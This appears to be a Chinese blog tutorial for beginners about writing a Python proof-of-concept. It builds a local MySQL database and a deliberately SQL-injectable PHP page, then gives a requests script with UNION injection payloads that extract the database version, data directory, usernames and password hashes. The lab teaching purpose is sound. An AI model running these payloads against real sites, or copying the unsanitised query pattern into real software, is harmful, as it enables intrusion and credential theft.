学习Python到写poc其实没那么难
现在,开始!
- 0x00 前言
今天刚刚把http://drops.wooyun.org/tips/12751放到收藏夹准备看的,然后又看到题主的这个问题。顺便观摩了1楼大神的博客,我这种炒鸡新手表示很兴奋啊,阔以好好学习代码审计吖!但是萌妹子说了“不会开发的谈审计都是耍流氓!:)”。怎么办?? 我不会开发啊,我怎么学啊?????
- 0x01 不会开发可以”抄”
作为一个学渣,要考试的时候,总是把历年考题拿出来,别人题型怎么写的,你就怎么套,不用去管他原理。就好比别人都叫三楼红老师,我们也这样叫就准没错的。昨天三个白帽的那个hanmeimei和lilie的题都不知道怎么下手,怎么办?我自己写一个吧!
- 0x02 抄sql语句
DROP DATABASE IF EXISTS foolish;
CREATE DATABASE foolish;
CREATE USER user1@'%' IDENTIFIED BY 'password1';
GRANT ALL PRIVILEGES ON foolish.* TO user1;
USE foolish;
CREATE TABLE users
(
id int(3) NOT NULL AUTO_INCREMENT,
username varchar(20) NOT NULL,
password varchar(20) NOT NULL,
PRIMARY KEY (id)
);
INSERT INTO foolish.users (id,username,password) VALUES ('1','lilei','49ba59abbe56e057'),('2','hanmeimei','80650b029161be86'),('3','xiao3','7bf9108cd896f33c');
蛤蛤,炒鸡简单,会点英文就可以看懂。
- 0x03 抄php代码
<?php
echo '<body >';
$con = mysqli_connect('127.0.0.1','root','',"foolish");
if(isset($_GET['name']))
{
$name = $_GET['name'];
$sql = "SELECT * FROM users WHERE username='".$name."' LIMIT 0,1";
$result = mysqli_query($con,$sql);
$row = mysqli_fetch_array($result);
if($row)
{
echo "<font size = '5' >";
echo "<em>";
echo "Your login name :";
echo $row['username'];
echo "</em>";
echo "</font>";
}
else
{
echo "hell";
echo '<font color = "#FFF000">';
print_r(mysqli_error());
echo "</font>";
}
}
echo '</body>';
?>
保存为poc.php,调试出来后,发现其实是相当简单的。
0x04
直接将sql文件导入到数据库,php文件就可以访问了,反正我这测试可以访问.
http://127.0.0.1/poc.php?name=lilei
非常容易的注入,就不分析了。0x05 楼主说的用python写poc
首先,之前一直看评论有人在说requests模块。虽然,我没有用过,但是我会抄代码啊,打开官方文档。其实就是用python模拟浏览器请求,然后接受返回值。中间进行判断之类的。
POC:
import requests
from bs4 import BeautifulSoup
import sys
def main(argv):
if(len(argv) == 1):
print "Usege:python exploit.py http://localhost/"
else:
url = argv[1]
all_payload = ["poctest.php?name=lilei'and 1=2 union select 1,2,3--+",
"poctest.php?name=lilei'and 1=2 union select 1,@@version,3--+",
"poctest.php?name=lilei'and 1=2 union select 1,@@datadir,3--+",
"poctest.php?name=lilei'and 1=2 union select 1,username,3 from users--+",
"poctest.php?name=lilei'and 1=2 union select 1,password,3 from users--+"
]
for payload in all_payload:
exp = url + payload
r = requests.get(exp)
soup = BeautifulSoup(r.text,"html.parser")
print soup.em.string[16:]
if __name__ == '__main__':
main(sys.argv)
0x06 总结
由于楼主问从学Python到写个poc用多长时间,其实吧,主要是你前提得给漏洞原理分析出来。写poc就是程序代替人的过程。
其实吧,编程只是一个工具,对于所有语言。他都是要接收一个输入,来自人类。然后程序内部进行处理。最后输出给人类。
所以,对于这个漏洞程序来说:
(1)php的接收人类的输入是$_GET[‘name’]。
php输出给人类的是浏览器上显示的结果。
php输出给mysql服务器的是要执行的sql语句。(这里造成漏洞)
(2)mysql接收的是php传递的执行语句
mysql输出的是执行的结果
(3) python输入的是url参数
python输出的是exploit的结果
所以,我的总结是学习语言,要先明白他的输入-输出模型,然后求出它的传递函数。也就是中间的各种算法类的,也就是红老师说的打好基础。
但是,对于新手来说,兴趣比较重要,代码的东西这么复杂,你要都去了解很打击信心的,你只需要知道别人这样做是对的,你就这样做准没错
最新文章
- ******IT公司面试题汇总+优秀技术博客汇总
- Tomcat8安装, 安全配置与性能优化
- poj 1324 Holedox Moving
- [MySql] - 开启外部访问
- jquery操作radio单选按钮、checked复选框。
- Linux用户组与用户组进阶命令
- 关于java“配置环境变量”的那些事
- JS兼容getElementsByClassName
- [树结构]平衡二叉树AVL
- 自定义bootstrap样式-9行样式自定义漂亮大气bootstrap导航栏
- base64是啥原理
- JS刷票神器
- 【Storm篇】--Storm分组策略
- ElasticSearch+Logstash+Filebeat+Kibana集群日志管理分析平台搭建
- [EXP]Jenkins 2.150.2 - Remote Command Execution (Metasploit)
- Java源码阅读(不断补充)
- html5模拟平抛运动
- Android:GridView中实现点击Item变色,再点击还原。
- Javaworkers团队第一周项目总结
- [日常] NOIp 2018 滚粗记
热门文章
- Codeforces917C. Pollywog
- B. Restaurant--cf579B (贪心)
- 【APUE】进程间通信之共享存储(mmap函数)
- [转]linux下tar.gz、tar、bz2、zip等解压缩、压缩命令小结
- Spark SQL 源代码分析之Physical Plan 到 RDD的详细实现
- linux之rsync远程数据同步备份
- 2012年公司组织旅游西安线个人记录(repost)
- Xcode6 设置LaunchImage图标
- &;lt;转&;gt;bash: qmake: command not found...
- Redhat Linux 下安装Oracle 11g R2